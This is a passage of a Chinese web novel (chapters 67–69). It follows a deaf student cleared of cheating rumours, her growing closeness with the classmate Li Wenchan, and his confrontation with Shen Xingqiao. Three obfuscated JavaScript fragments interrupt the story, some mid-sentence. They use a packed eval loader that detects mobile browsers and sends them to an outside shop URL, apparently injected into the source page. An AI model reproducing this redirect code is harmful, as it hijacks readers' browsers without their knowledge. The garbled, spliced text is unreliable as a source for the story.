“作弊?当时在七中就有无数条类似的谣言,我猜你们也让小雪单独重新考一遍,她不愿意吧?——那是因为她已经考过太多太多次这样的考试了!每一次期中期末,最后她都要一个人坐在办公室,几个人盯着再做一遍卷子证明自己没有作弊!就因为大家都觉得她身为聋哑人不可能自学成才!” 周围响起阵阵吸气声,万苏瑶气得发抖,恨不得让爷爷组织记者去报道! 李闻蝉将手机收起,静默地站好,站在池映雪身边。 安静,即使圆润了些也纤瘦,即使长高了些也依旧身型小小。 她只是定定看着自己的好朋友。 李闻蝉喉结滚动,吞咽时喉咙十分嘶哑,隐隐刺痛,顺着血管和神经传递到心脏。 他的手背在身后,悄悄朝池映雪身边靠近一小步。 一根手指伸出,牵起她垂下的小拇指。 比之前多了些温度。 所有人的注意力集中在正在讲话的女生。 人群背影处,大手将那只小拇指包裹住,传递炽热的体温。 67. 第 67 章 邢芷:怎么和说好的不一样! 这个许苹安明显就对池映雪的现状心态不平,不是说好要来“揭穿”池映雪吗?! 许苹安:“私生活混乱的谣言更恶心,我不知道你们虹文这边怎样,但在七中,只有那种看上她、仗着她听不见说不了话想强迫的男生,那些人最后不是被她聪慧逃脱,就是被她提起板凳抽回去,所以他们恼羞成怒,造了不少谣!” “还有那个所谓用完就丢的高年级男生,我们三个都是好友,怎么到了你们论坛里我就失去了姓名?是,裴景是帮我俩补习过语文,我们也因此受益,可裴景的物理烂得考不上60分,小雪花了一年帮他在高三前提到85,这是互帮互助,不是她单方面靠男的带飞!” 许苹安深吸一口气。 “我是羡慕小雪现在的生活。我害怕三个人的友情,只有他俩走的近,那样我就被落在后面;我害怕她离我越来越远,成为两个世界的人,最后我什么也帮不了她。甚至只敢趁她听不见说出这些话。” 池映雪呼吸微顿,听见她哽咽道:“可我从来不会觉得她不配这么好。” “小雪每次聊天都和我们说,在新家很好很好,一想到她在应家受的那些苦我就信了。可现在看来也并不是那样,你们依然抱有偏见,依然不愿意相信她,甚至要造谣!” 许苹安话锋一转,从人群中揪出正要离开的邢芷,“就是这个人找到我,怂恿我和她一起欺负小雪。我这里有我们聊天全程的录音,这位领导要不要听一下虹文的优秀学生是如何谋划抹黑一位新同学的?” 邢芷胜券在握,对许苹安没有防备,录音里亲口承认一切都只是陷害。 真相大白。这场闹剧最终以邢芷被叫家长并记过、停学一段时间收场。 许苹安只请了早自习的假,抱了抱池映雪,约好用手机聊天就就匆匆离开。 李闻蝉淡淡看向年级主任,在对方讨好的神情中蔑视地嗤笑一声,像在下最后的判决书,而后不顾满堂杂乱,拉着池映雪走出办公室。 秦书在后面边追边喊:“小雪……” 池映雪脚步停顿。 李闻蝉回眸等她,轻轻地摇头。池映雪接收到他的眸光,犹豫仅有一瞬,还是转身走到秦书面前。 秦书激动又感动,颤着手打字,终于向她道了歉。 池映雪:「没关系。」 秦书没想到她松口这样快,还在愣怔中,池映雪接着道:「我不在乎了。」 不在乎他们是否信任。 得到他们的信任、爱、关注,条件太多。 过去可能会为了这些去争、去自我怀疑和证明,但是…… 只要得到过无条件的相信,就不会再盲目追逐。 秦书站在办公室门外长廊的人造灯光下,茫然无措,满眼都是不可置信和追悔莫及。 池映雪最后深深地凝望秦书与她相似的面庞,重新回头。 李闻蝉双手抱在胸前,闲靠栏杆,冲她抬了一下眉骨。 他身后是温暖的骄阳,光芒万丈。 出了这样大的事,老师们互相都有心理准备,早操和早自习他们不用参加也没关系。 李闻蝉是这样告诉池映雪的。 两个人在连廊上漫无目的地走。 池映雪今天才发现,下定决心,不代表不难过。 突然,李闻蝉宽阔高大的身形挡住池映雪前进的路,她浑然未觉,就这样停下来。 “我早就说过——” 清声来得匆促,停得也匆促。 李闻蝉几不可查地叹息:“算了。” 钥匙转动的声音清脆,将池映雪脑海里不断播放的回忆强行暂停。 骨骼明显的手指挂着熟悉的机车钥匙,在她眼前打字:「走吧,好学生。」 「带你去兜风。」 坐上熟悉的车后座,系统弹窗出来。 [叮!男主为你崩人设x1!当前进度:(2/3)。] 池映雪低头注视黑色的车座,一头雾水。 而且第一次崩人设居然在昨晚,今早事情太多,她现在才注意到。 他昨晚到底干什么去了? 来不及多想,引擎发动,秋风吹拂开刘海,池映雪连忙将护镜戴好,缩在李闻蝉的背后。 机车一路疾驰,越驶越偏,到了一个超长红灯下,她才想起来问他要去哪里。 「你还记得韩潇吗?他又来南城玩,我们去接他。」 池映雪点点头,有些羞赧。 那个被她误认成混混的男生。 李闻蝉重新回身面朝红灯,很促狭地勾唇,长眸在扫到十字路口左侧的建筑时,手指敲打车身的清脆声停了好几秒。 池映雪好奇地望过去。 一个湿地公园。 有什么奇特? 也许因为早饭没有吃好,耳边忽然嗡嗡地鸣起来,微微头晕,幸好绿灯乍然亮起,机车轰响着再次驶开。 惠风和畅,约莫十来分钟,眼前出现“南城南”高铁站的指示牌。 据李闻蝉透露,韩大少爷刚从国外滑雪回来,闲得发慌,突发奇想要试试从HK直通南城的高铁。说是直通,其实也要中转,路上又抱怨不断。 工作日的高铁站并不比池映雪预想中清闲,依旧人员密集。 人头攒动,池映雪跟紧前面的身影,生怕走散了。 黑色的运动鞋猛地停下,她差点没再次撞上去。 那只宽大的手向她伸出。 白皙的皮肤,校服已经脱下,只余黑色的卫衣长袖。 池映雪睫毛颤动,最终捏住袖口的边边。 李闻蝉没什么表情,侧身帮她挡住旁边赶路的行人,继续沿指示牌向前走。 池映雪手上忽然多了一股拉力。 他也学着她,轻扯她的袖口。 川流不息的出站大厅,白炽灯在光洁的地面射下点状反光。 池映雪靠在方形的大柱子垂眸静思,甜甜的圆球猝不及防贴上唇瓣。 确认她咬住,李闻蝉弯起眼,捏着白棒的手松开。 巧克力味。 [叮!男主为你崩人设x1!当前进度:(3/3),任务完成!] 系统:[这也太快了吧!宿主根本就是躺赢嘛。] [不过男主大人怎么会随身带巧克力味的棒棒糖,装错了吗……] 池映雪含着浓醇的糖果,手有一下没一下拍着凉凉的柱子降温。 原来上次雨中闻见的巧克力味,并不是错觉。 话说那天,给她打伞的还是……沈星桥。 苹安突然出现讲了那番话,将他带来的失落暂时冲淡。直到现在空闲下来,刚才的一幕幕又在眼前重播。 棒棒糖被她咬碎,温热而清爽的气息飘进耳里。 上一趟车刚过,出口人流已经快走完,难得安静。 李闻蝉弯下腰,几乎紧贴她耳朵讲话:“你现在能听见多少了?” “这样,可以吗?” 气流让耳朵里面产生酥酥的振颤,池映雪胡乱点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635287|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李闻蝉很惊讶地挑了下眉,更多是惊喜。 他好像并不觉得这有多不可思议,也许他自己见过的事情更多吧。 “知道我为什么总随身带着糖吗?” 池映雪摇头。 李闻蝉眯起眼,像在回忆。 “有个人曾经对我说过,难过的时候,觉得很苦的时候,就吃颗糖。” “做数学题做不出来,背单词背不会,打篮球输了——虽然我没输过,还有……” 沉默片刻,他的声音抓紧她的耳,“发现朋友并不值得被当作朋友的时候,吃颗甜甜的糖,就过去了。” 记忆太稀薄,他都要忘了是谁说的,似乎是童年父母还健在的那段岁月。 是母亲吗?记不清了。 李闻蝉想,谁说的并不重要,重要的是—— 他拆开另一枚糖果的包装纸,自己咬住。 池映雪鼻尖微动。 葡萄的香气浓烈。 好甜。 李闻蝉恰好抬指拨了一下她的糖杆:“甜吗?” 两道声音同时响起。 李闻蝉揉了揉耳,从她耳边移开脸,胡乱瞟向又一轮繁忙的出站口。 [叮!攻略对象好感+1。] [当前男主好感:85。] 这回出站的就是韩潇所在的列车。 时隔近一月,池映雪又一次见到他。还是那头张扬的红发,轮胎鞋八神裤,十根指头上戒指戴得满当当。 见到池映雪,韩潇的桃花眼“chua”的亮起,wink了一下,吹着口哨就荡过来:“小雪妹妹——” 李闻蝉给了他一脚,抬手挡住池映雪的双眼。 李闻蝉:“眼睛有病就去治。” 韩潇:“?” “你就是这么欢迎远道而来的友人的?” “哦。”李闻蝉没理他,拍了拍池映雪,贴近她耳鬓,口吻柔和,“走了,我们去吃早点。” 韩潇:“………” 士可杀不可辱! 双标狗!! 韩潇屁颠颠地跟上去。 高铁站口的一家连锁汤包店里,李闻蝉帮池映雪调好醋和辣油,取来勺子碗筷。 三人份的。 韩潇重新挂上笑脸,趁池映雪低头专心吃饭,胳膊肘怼向李闻蝉。 “你那头像是什么情况?” 韩潇亮出企鹅,李闻蝉的纯黑头像十分醒目,“我昨天看到都吓坏了,你不是emo了吧?” 李闻蝉搅动糖芋苗,没理他。 韩潇再接再厉:“还有你这昵称,‘小蝉’?你恶不恶心。” 李闻蝉俯身吃羹,姿势优雅到不行,掀起眼皮偷看对面安静用餐的人,才松了口气。 明面上端庄握调羹,桌子下面,狠狠踩了一脚韩潇的轮胎鞋:“你个‘HK第一纯情’,有资格说我?” 韩潇:…… OK。 确认过眼神,绝不是emo。 那他就放心了。韩潇开始享受南城这边的特色早点。 吃完一桌犹嫌不够,又加了一屉菊叶一屉莲子,志得意满地出店门。 池映雪早就吃饱了,暗叹了一番他的食量,跟着起身时才发现正对面的李闻蝉只吃了一碗糖芋苗。 汤包也只吃了一两个。 男生的食量不是都挺大的吗? 李闻蝉走在前面,摸摸鼻子,腹部传来空瘪感。 他开始理解万苏瑶的话了。 ……传说中的小鸟胃。 68. 第 68 章 黑色机车停在入口旁边广场外的好几排车里。 越往里面走越拥挤,还有乱停放的车挡路。李闻蝉让池映雪在路口等他,加快步伐去取车。 韩潇跟了上去。 “蝉大少爷,你那高傲的头颅呢?” 到了机车边上,二人停下,韩潇顺势挤眉道,“不是从不低头?腰弯得都快贴到人家耳朵上去了。” 李闻蝉照例忽略他的调侃,从裤子口袋里掏钥匙,带出一叠纸张。 颜色粉嫩,与他的一身黑格格不入。 韩潇好奇地凑上去:“这……啥?” “差点忘了这个。” 李闻蝉睨了他一眼,露出一个意味不明的笑,几分自得,“你不需要知道。” 可爱的卡通贴画在他手里显得很袖珍,是前两天从池映雪手里看来的牌子,有花有果有蝴蝶。 炫酷的黑色机车上霎时多了葡萄、雪花和粉紫色蝴蝶的贴纸。韩潇没眼看,赶快问出最关心的事:“昨晚怎么样?蒋傅那痴线堵住没?” “嗯。” “我就知道!” 韩潇倒是不担心李闻蝉开车去公路追击堵人时有没有遇到危险。反正这人神通广大,成人那晚金山飙车,天使之吻一次成功,大小场面都不在话下。 韩潇只是好奇:“但不是说老爷子选的酒店是个老古董,那片地带监控都不灵?你们就逮到一个拍视频的,一个自称报复社会才放火的侍者,怎么揪出的蒋傅?” 当然是听见了。 也因此没法逮捕蒋傅,只能在他嗅到不对时把人……用点特殊办法。 李闻蝉娴熟地搪塞过去:“一些小手段。” “怎样都好,重要的是你终于处理他了,蒋家你们也一起收拾了吧?要我说当年他背叛你的时候,你家老头就不该放过他们一口气。” “不是放过。” 淡淡的声音满不在乎道,“是没必要。老实说,现在也不是将他们一网打尽的最好时机……但他太过,动了不能动的人。” 本来是要自己动手的,但脚都踩到纵火的那只手上,眼前又浮现去酒店前答应某人的话。 当个好学生。 不许打架。 李闻蝉低头,黑色碎发微荡,唇边勾起完美的弧度,长腿一跨上车。 韩潇暗自感慨了一番好友的潇洒,却见他刚上去又沉着脸下来。 “?” “车太多了,得推着走。” “………” 等人的时候,池映雪没闲着,和系统讨价还价。 “我和男主讨论童年了,为什么任务没完成?” [“讨论”,讨论!]系统用百科词条回击,[你们人类的汉语词典里自己写的,讨论是“就某一问题交换意见或进行辩论”。宿主没有和男主交换童年,当然不作数。] 池映雪沉默下来。 柔顺的黑发,依稀可见末端还没养好的、微微开叉的棕色发梢,被她绕在手指上转动,纠结在一起。 李闻蝉的身影出现在视野里,打断她的沉思。 拍击后座的声音响亮。 上来。 距离有些远,他也不知她是否还能听到,所以放缓语速,尽量让口型清晰。 韩潇在后面目瞪口呆:“你什么意思?” “诶不是,凭什么?你那车后座,之前是谁说不可能让别人坐?” 韩潇阴阳怪气:“我上次想坐一下你都不给,小雪妹妹就不一样是吧。” 池映雪已经坐上车,正在戴她那Kitty猫头盔,不过对韩潇的话没什么反应。 那这个距离,估计是听不见。 李闻蝉悠闲地将手搭在车前,打了个响指:“不然呢。” “她又不是别人。” 放在Kitty头盔两侧的双手停下来,像捂着脑袋,滞留在空气中。 韩潇怒目圆瞪,李闻蝉的后视镜照不见,谁也没发现这一幕。 “你们南城人就是这么尽地主之谊的?你俩骑着车欢快地走了,那我怎么办?” “我们尽啊。” 李闻蝉把“我们”咬字很重,平平淡淡道,“放心,帮你叫了个滴滴,一会就到。” 说完任由韩潇在后面大声嚷嚷,拧紧车把就启程。 轰声响起前,池映雪似乎听见很微弱的几句话。 比如什么安慰,什么失恋什么的,似乎是李闻蝉在向他讨教,韩潇扬言早知道就不告诉你了。 复杂的目光投向前方墨发下冷白的后颈。 ……他失恋了? 池映雪在心里哼哼几声,想抬手拨刘海,才发现有护镜遮挡。 到了学校门口,趁李闻蝉停车的功夫,池映雪发消息问他和韩潇刚才到底在聊什么。 李闻蝉的脸色不是很自然。 「好奇?」 池映雪:「……有一点。」 “噢……” 那就不是很在乎。 李闻蝉拔下车钥匙,在手指上转了几圈,发出零零碎碎的响。 李闻蝉:「男人的秘密。」 池映雪:………== 斜前方就是虹文气派的正门,挂着醒目的牌匾,每年假期都有无数博主或校友来拍照打卡。 李闻蝉却带池映雪绕过去,走向一个她从来没见过的门。 离上次取快递的驿站很近,但应该常年不开放。 他不知从哪里搞来一把钥匙,轻车熟路地拨开铁门前枯黄的藤蔓,哼着歌开锁,弯腰对她做了个有请的姿势。 池映雪惊讶地睁大眼,圆圆的,弯眉扬起,像晶亮葡萄上串着两弯藤。 李闻蝉不用听就知道她想些什么,按开手机屏幕给她看。 屏幕上方的时间非常醒目。 ——第二节课都快下了! 偏顽劣声音还笑着响起:“诶,怎么办啊,某位好学生翘课了。” 还不是他带的! 看这人的样子就知道是个惯犯,还说什么他们只是不用去上早操早读,他能把时间拿捏得很好…… 池映雪郁闷得脸颊鼓起。 被李闻蝉戳了一下,忍不住瘪下去,唇角漾开无奈的笑。 两只大拇指朝前按了两下。 不管怎样,谢谢你。 心情好多了。 惠风吹拂她背后的黄色藤叶,垂在地面的细枝扫来扫去,发出纷乱无章的响。 李闻蝉移开眼,挠了挠后颈,嘴巴张了张,溢出一声嘟囔:“谢什么,谢我带好学生翘课。” “一会萌姐肯定要说我把你带坏了。” 才不是。 明明是个大好人。 李闻蝉将手揣兜,走在前面,没走几步就用鞋帮她拂开两道的枝叶。 簌簌—— 又给他发好人卡。 不过,当好人总比当坏人好。 来到教学楼下,李闻蝉抬眸,先习惯性望向三楼的五班,视线逐渐上移,停在正上方的一班好几秒,长眸眯起。 空气忽然变得冰冷。 池映雪没来由打了个颤。 身前的背影不知何时显得肃杀,满身缠着戾气,像极了撞见他浴血打架的那天。 黑衣颀长,浑身上下散发危险的气息,直到进了办公室,站在徐静萌面前。 如果让论坛里的那群人看见这一幕一定大开眼界:他们口中的校霸,乖乖地将手背在身后,听班主任批评,时不时还点一下头。 虽然应该还会再犯,但态度是很好的。 池映雪发现李闻蝉还挺拎得清,对徐静萌这种关爱学生的好老师尊重恭敬,顶多作风散漫不羁;对主任那种人,就并不收敛自己的气势,还有背景。 池映雪有学有样地把手背在身后,低着脸听徐静萌数落,当然,她主要数落李闻蝉。 徐静萌好像也不是真的生气,象征性说了几句就让他们回去了,就是得写检讨。 池映雪正要颔首,李闻蝉向前挪了一步,挡住她。 “我硬拉池映雪同学出去的,我写两份。” 还能这样? 徐老师会同意吗?归根结底,她还是逃了她的课。 池映雪很不好意思地偷瞥徐静萌,却见她欣慰地挥了挥手,权当默认。 他们回班的时候挑的正好,大课间刚开始几分钟。 池映雪发现自己的桌子上有一盒文具套装,看起来精致非常,万苏瑶解释:「这是你大伯给的,他不是校董么,刚来学校处理那个呆……那个主任。」 糟糕,差点在小雪面前骂人了。 万苏瑶擦了把冷汗,补充道:「我就说年级主任怎么那么怪呢,要我是他,我肯定会首先相信你而不是那些只敢躲在匿名后的谣言,而且你成绩这么好,也是为虹文争光,他哪来的理由针对你?」 「你大伯刚才嘱咐我告诉你,主任针对的不是你,是池家,也就是校董间那些博弈……这玩意我也不懂,但他说希望你知道,你没有任何问题!」 池映雪珍惜地收好文具套装,想了想,又打开抽屉,将崭新的套装开封,取出钢笔,将原本放在笔筒里的那一根换掉。 万苏瑶今天听完池映雪在七中的事,心疼坏了,趁时间还多,挽着她就朝小卖部走,说要请她吃最爱的玉米烤肠补补身体。 孟心词在上楼时被她遇到,也一起拐走,听完后无语道:“是你最爱的玉米烤肠吧……” 自己想吃还要搭上人家小雪。 池映雪在旁边咯咯地笑。 万苏瑶大咧咧没发现,孟心词好奇地凑近她:“你刚刚是不是笑出声了?” 不能啊。 她知道池映雪耳朵的情况,但声音,也可以了? 池映雪连忙收敛,装作若无其事的样子,孟心词转了一圈,只当幻听。 池映雪松了口气。 系统:[宿主分明就能出声,每晚都一个人偷偷练习,打算一直忍到什么时候才说话呀?] 池映雪:“……让我再练一段时间吧。” 就像人一直不走路,下肢就会退化,声带也是。她现在的声音还是太嘶哑了。 池映雪的耳边响起那道清冽如汽水的嗓音。 ……得练好听一点才行呀。 小卖部开在食堂边上,说是“小卖部”,和池映雪人生前16年逛过最大的便利店差不多规模。 玉米烤肠之所以广受喜爱,是因为它是隔壁食堂的阿姨自己做的,用料都是最好的水果玉米和猪肉,还贴心准备了少量鸡肉和鱼肉口味。 万苏瑶果然一来就往那头扎,池映雪和孟心词相视一笑。 孟心词:「你想买什么?早饭吃了吗?」 「吃过了,我去那边看看。」 池映雪走向某排花花绿绿的货架,孟心词打眼一看。 糖啊。 万苏瑶拎着三根烤肠回来,左顾右盼:“小雪呢?” 孟心词手一指:“在那里。” “原来小雪喜欢吃糖啊,明年她生日我就送这个好了。” 万苏瑶:“真假的?她不吃啊……” “?” 二人一起向那边看,糖堆前纤细清瘦的身影的确是池映雪没错。 万苏瑶:“虎子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635288|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的没错,最近老是活见鬼。” 孟心词手撑下巴,显然想到了什么,眨了眨眼。 难怪…… 池映雪左手抓着六七根棒棒糖——这是她手掌大小的极限。 右手将几盒冷柜里的小甜点捧在怀里,小心地走向自助支付的机器。 虽然万苏瑶说要请客,但请她烤肠就够了。 反正这些买来,也并不是请她的。 池映雪刚把东西放在台上扫完,还没有掏出手机,身边就多了一道影。 机器亮起绿灯,显示付款成功。 沈星桥身形清隽,没有看她也没有说话,飞快地收回手机,又从一边抽出环保袋。 装完甜点和棒棒糖,他沉默地从自己手臂上地袋子里取出一瓶甜牛奶,一包奶酪面包,塞入袋子的最上方。 池映雪愣了半晌,后退两步,没接留在他手里的袋子。 沈星桥眉眼很沉,往日那种笑意不见,嘴唇阖动。 万苏瑶一转眼就发现了他们,急吼吼地冲上来,将他手里的袋子打开,扔回最上层的面包牛奶:“我们小雪不爱吃甜的。” 面包没有放稳,沈星桥也僵在原地没去接,瞬间掉在地上。牛奶在台上滚了好几圈。 回班的路上,池映雪专心吃烤肠,万苏瑶在她肩侧抓耳挠腮。 孟心词:“你昨晚没洗澡?” “你懂什么?”万苏瑶白了她一眼,小声道,“小雪被你们班那个沈某某那样对待,指不定有多伤心,我担心她……” “你说这人怎么这么别扭啊?之前老来问小雪题,生日开场舞也是一起跳……我们都以为就算不是传说中的‘未婚夫妻’,关系应该也挺好吧。结果他和突然被下了降头一样,直接背刺一刀。”万苏瑶义愤填膺,“他那些话就差没把小雪作弊写脸上了好吗!啊,气死我了!” “糟了,你说小雪这么心软,这么善良这么可爱,万一沈星桥像刚才那样买点小东西哄哄,小雪又原谅他怎么办?可是他不道歉她会不会更伤心?哎,她不会真的喜欢——” “打住。”孟心词无奈扶额,“心软我不知道,但这个不可能吧。” 就不该指望这个大条的家伙,这都分析的哪跟哪呀。 她没忍住道:“………你,还有胡挚,坐那么近,真就一点看不出来?” 万苏瑶的眼神清澈又焦灼:“看出来什么?难不成小雪真的有点喜欢沈星桥?!” 不要啊!呜呜呜,那样她的小雪不是更小可怜了吗? 恰好到了三四楼的楼梯口,孟心词停下来,长长叹了口气。 “没什么,你俩接着玛卡巴卡吧。” 万苏瑶:??? 孟心词继续上楼,池映雪和万苏瑶顺着走廊朝五班的后门走。 池映雪走在靠墙那一侧,刚过前门,就透过玻璃瞧见靠窗最后一排那奋笔疾书的身影。 不用猜也知道是在写刚才的检讨。 池映雪的唇角微微翘起,直到走到窗户中段时,感受到那股难以忽视的视线。 她早就移开眼,没有看,现在也没对视回去。 只是走路的姿势突然略显僵硬,差点顺拐。池映雪目不转睛地盯着万苏瑶,万苏瑶脸都红了。 等落座,池映雪把环保袋放在桌子上,刚想去接杯热水,右侧传来肚叫的咕噜声。 看。 她猜得没错,他就是没吃饱。 李闻蝉还是那副淡定的模样,唇线紧抿,眉骨硬朗,罚写检讨这种事都做的这么潇洒从容。 又是一声。 更清晰了。 细碎的黑发下,冷白色的耳垂悄悄泛红。 池映雪忍俊不禁,捧出一盒焦糖布丁,慢条斯理地拆包装。 沙沙的写字声中断,再写几秒,又停几秒,以此往复,中间夹杂很低的吞咽声。 嘶。 黑笔在信纸上划出重重一道墨痕,这次彻底停止。 李闻蝉的眼前出现一盒打开的焦糖布丁,插了一个小勺子。 脚边被推来一个环保袋,棒棒糖的玻璃纸在光线折射下亮晶晶。 [叮!攻略对象好感+1。] [当前男主好感:86。] “………” 李闻蝉指了指自己,指了指肚子,手比叉挽尊:我不饿。 脸都红透了。 池映雪忍笑,顺着他的意思点了两下头。 李闻蝉这才咳了两声,放下笔,“勉为其难”地挖了一小口焦糖布丁。 小小的勺子入口,难以遮盖他疯狂上扬的嘴角。 万苏瑶正在和胡挚讨论孟心词说他俩“玛卡巴卡”的话。 “不是,她凭什么这么说?我到底没发现什么啊!我也没那么迟钝吧……” 胡挚头脑更简单,只能从实际出发:“那你们刚聊啥了?” 聊啥? 万苏瑶一想,更生气了:“聊沈星桥啊……” 咔擦。 塑料勺子被从中咬断。 甜丝丝的焦糖布丁都不香了。 池映雪在复习期中考后整理的纰漏,看着看着,平板上弹出企鹅消息。 黑色头像十分扎眼。 李闻蝉:「听万苏瑶说你们刚去小卖部聊了不少?」 「还聊吗,加我一个。」 池映雪不知道万苏瑶聊了什么,眼却转了转。 李闻蝉叼着半根勺子,几乎快再咬出道裂缝时,终于收到对面的消息。 小雪:「我们聊了……」 李闻蝉屏息凝神。 小雪:「女人的秘密。」 69. 第 69 章 李闻蝉:“……” 所以真的在聊沈星桥? 都这样了,还小秘密呢?? 池映雪忽然感觉李闻蝉看她的眼神带有一股恨铁不成钢的意味。 “成年了吗,还女人。”李闻蝉咬紧后槽牙,舌尖抵着口中的半截叉子,语气不明地冷笑两声,“就一小屁孩。” 这下气闷的轮到池映雪。 他是不是觉得她听不见就可以随便说话? 好气哦。 他才小屁孩,他和几个好朋友,都是小学生! 大课间快要结束,李闻蝉用湿纸巾擦净手,收拾好桌面吃完的垃圾,单手拎着向后门外的垃圾桶走。 他回来时,池映雪的桌前落下一道掠影。 温热的掌心轻拍她的脑袋。 “快点长大,池小雪。” 声音很低,夹杂一叹,轻飘飘地飞入她耳畔。 “我在18岁等你。” “你在18岁等谁?”胡挚刚从万苏瑶那里抢来半包薯片,嘎嘣嘎嘣地嚼着回头,“我吗?” 李闻蝉满脸黑线,刚要说不是,胡挚乐呵呵道:“哈哈!还135呢,这么简单的数学都算不对。” “等我们18,你就快奔2了,老男人!” 李闻蝉:……… 这次英语考试,池映雪的进步很大,除去听力免考的30分,只扣了六分卷面,折合总分142.5。 南城所在的教育强省历来有题难分严的特点,这个分数,虽然和英语特长的学生不能比,但即使放在c9保底的1班,也属于中上游水准。 Stella尤其满意她的写作,让她吸收完知识点后把答题卡拿上楼复印。 午自习前,池映雪找了个空档,推开后门。 李闻蝉刚和胡挚打完球回来,头发上湿哒哒的水还没全干,混着洗发水的清香,在前门撞见她擦肩而过的身影。 胡挚感慨:“上进啊,难怪人家英语进步神速。” 背影逐渐缩小,消失在从三楼延伸向四楼的楼梯间。 李闻蝉眉心猛跳,没有一丝犹豫冲向座位,随手抓起最近的一本资料,一溜烟地跑出去。 胡挚:这也是个上进的。 是……去上进吧? 怎么感觉他像是怕敌人偷塔闪现回城? 办公室里,Stella正在笑着拍池映雪的手,工位上只有她们两个人。 李闻蝉松了口气,优哉游哉地晃过去。 池映雪很惊讶地看了他一眼,被挑了下眉。 她坐着等待,李闻蝉站在她身侧偏后,倚靠两工位间不透明的隔板。 风不知道从哪里吹来,前方背影的碎发安静地朝他这边扬起。 李闻蝉轻轻拨动桌植的嫩叶,几不可查地向前方挪了一小步。 微风拂过,洗发水和他身上的橘香愈发浓。 Stella帮池映雪标记好作文里依然存在的小纰漏,才发现李闻蝉:“对了,还有你,这两次进步也很大,要继续保持啊!” “你干什么来了?” “我就来听听。”李闻蝉长身一振,连忙拿出身后的习题册,“顺便问题……” 一本数学小题狂做堂堂亮相。 三人沉默。 走太急,拿,拿错了。 李闻蝉重新把手连题一起背到身后。 Stella倒没多想什么,当即就站起身对不远处的齐幂招手:“徐老师不在对吗?齐老师,我这边有个学生来问数学题——” 两分钟后。 李闻蝉和齐幂大眼瞪小眼。 李闻蝉率先叹口气。还真有题要问,指完就去搬旁听用的凳子。 他在两个看上去长得差不多的凳子前徘徊半晌,最终将其中一个踢远,抱着另一个走到齐幂身旁坐下。 齐幂讲东西很有一套,没那么藐视众生的精英范,难得耐心,深入浅出。 一题讲完,李闻蝉用蓝笔自己再算一遍,顺嘴道:“齐老师,我对您改观很大。” “您虽然说话不好听,但其实是个好人。” 齐幂也发现他问题时用语很尊敬,态度好了不止一点。 “我也对你改观,知道上进了,不再和以前一样无可救药。” “……” 李闻蝉磨牙,“有您这么鼓励学生的吗?” 他两眼一转,“活该你没女朋友。” 齐幂:“你有?” “………” “讲题吧,老师。” “正有此意。” 齐幂效率太高,Stella还拉着池映雪分析问题,李闻蝉就已经问无可问了。 有一班的学生来问题,李闻蝉让出位子,回头最后瞥一眼,走出办公室的门等待。 早上的天气还算可以,现在却有些闷和潮,刚洗完澡的清爽都散了小半。 “沈神,这是你让我帮忙印的资料,听你的,多印了一份,是来备用吗?” “多谢。” “多大事,你都帮我多少次啦……” 沈星桥接过31份语文的提高纲,等同学走后,清点过一遍才放心。 雪白校服衬出清润而温和的身影,一直步履沉沉地走到办公室门口,却在踏入前停下。 转身,李闻蝉视线紧逼。 沈星桥没说什么,慢慢走上前,抽出一份提纲递过去:“帮我给她,谢谢。” 略一停顿,他又补充,“一班内部的资料,你想看也可以,不要外传……” “你觉得我在乎这个?”李闻蝉抽走提纲,双手抱在胸前,“——你还在装么?” “……” 沈星桥抬脚想走,被恰好伸出的黑色运动鞋拦住。 “聊聊?” 天空沉重,很白,几团浅淡的乌云压在上面。 沈星桥跟着来到连廊无人的拐角,前方不紧不慢的脚步声终于停下。 “聊什……” 话音都没落,狠厉的一拳猝不及防击向他的腹部。 沈星桥一个踉跄,校服却被李闻蝉紧攥拎起,熨烫整齐的布料皱成一团,像是旋涡风暴的中心被他捏入手中。 “你的录音呢?” 沈星桥原本微张开唇,似要解释什么,闻言身躯一颤:“………什么?” 李闻蝉冷笑:“录音,别让我再说一遍。” “你跟踪邢芷和许苹安,在地铁站里录下的对话。” 沈星桥的嘴唇逐渐变白,手攥成拳,又很快无力松开。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639297|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭了闭眼:“许苹安也有……” “你录了音,为什么不拿来作证,为什么要坐实她的谣言?” 比起为什么,李闻蝉的手愈发用力。 “凭什么?” “把她拉下去,她的成绩撤销,让你当这个第一?” “让你得到所谓的校长奖学金,荣誉,保送名额?” “还是你妈妈的夸奖?” 沈星桥不置可否。 呼吸变得缓慢,他强忍疼痛,用尽力气淡笑一下:“只是这一次,这两个周……也不行么?” “这周末是我父亲的忌日,下周期中奖学金公示……我设定好了定时发送,等这两件事尘埃落定,她会清清白白。” 虽然现在,一切都不再被需要了。 